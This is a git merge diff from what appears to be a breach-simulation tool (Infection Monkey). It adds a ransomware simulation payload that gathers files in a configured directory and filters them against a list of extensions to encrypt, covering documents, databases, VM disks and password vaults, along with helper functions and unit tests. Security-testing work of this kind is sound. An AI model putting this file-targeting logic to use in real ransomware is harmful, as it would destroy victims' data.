Merge branch 'ransomware-iterate-files' into develop

monkey/infection_monkey/ransomware/ransomware_payload.py

@@ -1,26 +1,33 @@
 import logging
+from pathlib import Path
+
+from infection_monkey.ransomware.valid_file_extensions import VALID_FILE_EXTENSIONS_FOR_ENCRYPTION
+from infection_monkey.utils.dir_utils import (
+    file_extension_filter,
+    filter_files,
+    get_all_regular_files_in_directory,
+)
+from infection_monkey.utils.environment import is_windows_os
 
 LOG = logging.getLogger(__name__)
 
 
 class RansomewarePayload:
     def __init__(self, config: dict):
-        self.config = config
+        LOG.info(f"Windows dir configured for encryption is " f"{config['windows_dir']}")
+        LOG.info(f"Linux dir configured for encryption is " f"{config['linux_dir']}")
+
+        self.target_dir = Path(config["windows_dir"] if is_windows_os() else config["linux_dir"])
 
     def run_payload(self):
-        LOG.info(
-            f"Windows dir configured for encryption is "
-            f"{self.config['directories']['windows_dir']}"
-        )
-        LOG.info(
-            f"Linux dir configured for encryption is " f"{self.config['directories']['linux_dir']}"
-        )
-
         file_list = self._find_files()
         self._encrypt_files(file_list)
 
     def _find_files(self):
-        return []
+        file_filters = [file_extension_filter(VALID_FILE_EXTENSIONS_FOR_ENCRYPTION)]
+
+        all_files = get_all_regular_files_in_directory(self.target_dir)
+        return filter_files(all_files, file_filters)
 
     def _encrypt_files(self, file_list):
         for file in file_list:

monkey/infection_monkey/ransomware/valid_file_extensions.py

@@ -0,0 +1,76 @@
+VALID_FILE_EXTENSIONS_FOR_ENCRYPTION = {
+    ".3ds",
+    ".7z",
+    ".accdb",
+    ".ai",
+    ".asp",
+    ".aspx",
+    ".avhd",
+    ".avi",
+    ".back",
+    ".bak",
+    ".c",
+    ".cfg",
+    ".conf",
+    ".cpp",
+    ".cs",
+    ".ctl",
+    ".dbf",
+    ".disk",
+    ".djvu",
+    ".doc",
+    ".docx",
+    ".dwg",
+    ".eml",
+    ".fdb",
+    ".giff",
+    ".gz",
+    ".h",
+    ".hdd",
+    ".jpg",
+    ".jpeg",
+    ".kdbx",
+    ".mail",
+    ".mdb",
+    ".mpg",
+    ".mpeg",
+    ".msg",
+    ".nrg",
+    ".ora",
+    ".ost",
+    ".ova",
+    ".ovf",
+    ".pdf",
+    ".php",
+    ".pmf",
+    ".png",
+    ".ppt",
+    ".pptx",
+    ".pst",
+    ".pvi",
+    ".py",
+    ".pyc",
+    ".rar",
+    ".rtf",
+    ".sln",
+    ".sql",
+    ".tar",
+    ".tiff",
+    ".txt",
+    ".vbox",
+    ".vbs",
+    ".vcb",
+    ".vdi",
+    ".vfd",
+    ".vmc",
+    ".vmdk",
+    ".vmsd",
+    ".vmx",
+    ".vsdx",
+    ".vsv",
+    ".work",
+    ".xls",
+    ".xlsx",
+    ".xvd",
+    ".zip",
+}

monkey/infection_monkey/utils/dir_utils.py

@@ -0,0 +1,21 @@
+from pathlib import Path
+from typing import Callable, Iterable, List, Set
+
+
+def get_all_regular_files_in_directory(dir_path: Path) -> List[Path]:
+    return filter_files(dir_path.iterdir(), [lambda f: f.is_file()])
+
+
+def filter_files(files: Iterable[Path], file_filters: List[Callable[[Path], bool]]):
+    filtered_files = files
+    for file_filter in file_filters:
+        filtered_files = [f for f in filtered_files if file_filter(f)]
+
+    return filtered_files
+
+
+def file_extension_filter(file_extensions: Set):
+    def inner_filter(f: Path):
+        return f.suffix in file_extensions
+
+    return inner_filter

monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py

@@ -0,0 +1,93 @@
+from infection_monkey.utils.dir_utils import (
+    file_extension_filter,
+    filter_files,
+    get_all_regular_files_in_directory,
+)
+
+FILES = ["file.jpg.zip", "file.xyz", "1.tar", "2.tgz", "2.png", "2.mpg"]
+SUBDIRS = ["subdir1", "subdir2"]
+
+
+def add_subdirs_to_dir(parent_dir):
+    subdirs = [parent_dir / s for s in SUBDIRS]
+
+    for subdir in subdirs:
+        subdir.mkdir()
+
+    return subdirs
+
+
+def add_files_to_dir(parent_dir):
+    files = [parent_dir / f for f in FILES]
+
+    for f in files:
+        f.touch()
+
+    return files
+
+
+def test_get_all_regular_files_in_directory__no_files(tmp_path, monkeypatch):
+    add_subdirs_to_dir(tmp_path)
+
+    expected_return_value = []
+    assert get_all_regular_files_in_directory(tmp_path) == expected_return_value
+
+
+def test_get_all_regular_files_in_directory__has_files(tmp_path, monkeypatch):
+    add_subdirs_to_dir(tmp_path)
+    files = add_files_to_dir(tmp_path)
+
+    expected_return_value = sorted(files)
+    assert sorted(get_all_regular_files_in_directory(tmp_path)) == expected_return_value
+
+
+def test_get_all_regular_files_in_directory__subdir_has_files(tmp_path, monkeypatch):
+    subdirs = add_subdirs_to_dir(tmp_path)
+    add_files_to_dir(subdirs[0])
+
+    files = add_files_to_dir(tmp_path)
+
+    expected_return_value = sorted(files)
+    assert sorted(get_all_regular_files_in_directory(tmp_path)) == expected_return_value
+
+
+def test_filter_files__no_results(tmp_path):
+    add_files_to_dir(tmp_path)
+
+    files_in_dir = get_all_regular_files_in_directory(tmp_path)
+    filtered_files = filter_files(files_in_dir, [lambda _: False])
+
+    assert len(filtered_files) == 0
+
+
+def test_filter_files__all_true(tmp_path):
+    files = add_files_to_dir(tmp_path)
+    expected_return_value = sorted(files)
+
+    files_in_dir = get_all_regular_files_in_directory(tmp_path)
+    filtered_files = filter_files(files_in_dir, [lambda _: True])
+
+    assert sorted(filtered_files) == expected_return_value
+
+
+def test_filter_files__multiple_filters(tmp_path):
+    files = add_files_to_dir(tmp_path)
+    expected_return_value = sorted(files[4:6])
+
+    files_in_dir = get_all_regular_files_in_directory(tmp_path)
+    filtered_files = filter_files(
+        files_in_dir, [lambda f: f.name.startswith("2"), lambda f: f.name.endswith("g")]
+    )
+
+    assert sorted(filtered_files) == expected_return_value
+
+
+def test_file_extension_filter(tmp_path):
+    valid_extensions = {".zip", ".xyz"}
+
+    files = add_files_to_dir(tmp_path)
+
+    files_in_dir = get_all_regular_files_in_directory(tmp_path)
+    filtered_files = filter_files(files_in_dir, [file_extension_filter(valid_extensions)])
+
+    assert sorted(files[0:2]) == sorted(filtered_files)

vulture_allowlist.py

@@ -171,6 +171,7 @@ ISLAND  # unused variable (monkey/monkey_island/cc/services/utils/node_states.py
 MONKEY_LINUX_RUNNING  # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:26)
 import_status  # monkey_island\cc\resources\configuration_import.py:19
 config_schema  # monkey_island\cc\resources\configuration_import.py:25
+get_files_to_encrypt  # monkey/infection_monkey/ransomware/utils.py:82
 
 # these are not needed for it to work, but may be useful extra information to understand what's going on
 WINDOWS_PBA_TYPE  # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23)